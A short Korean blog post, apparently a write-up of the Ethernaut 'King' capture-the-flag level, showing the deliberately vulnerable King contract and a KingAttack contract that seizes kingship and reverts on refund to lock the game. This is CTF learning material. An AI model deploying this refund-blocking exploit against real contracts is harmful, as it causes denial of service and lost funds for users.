소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
  address payable king;
  uint public prize;
  address payable public owner;
  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }
  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
  function _king() public view returns (address payable) {
    return king;
  }
}
목표
킹이 되는 것
방법
 // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract KingAttack {
    constructor(address _adr) public payable {
        address(_adr).call{value: msg.value}("");
    }
    fallback() external {
        revert("you lose!");
    }
}
'블록체인 > Ethernaut' 카테고리의 다른 글
| [Ethernaut] 11. Elevator (0) | 2022.06.06 | 
|---|---|
| [Ethernaut] 10. Re-entrancy (0) | 2022.06.05 | 
| [Ethernaut] 8. Vault (0) | 2022.06.01 | 
| [Ethernaut] 7. Force (0) | 2022.05.31 | 
| [Ethernaut] 6. Delegation (0) | 2022.05.30 |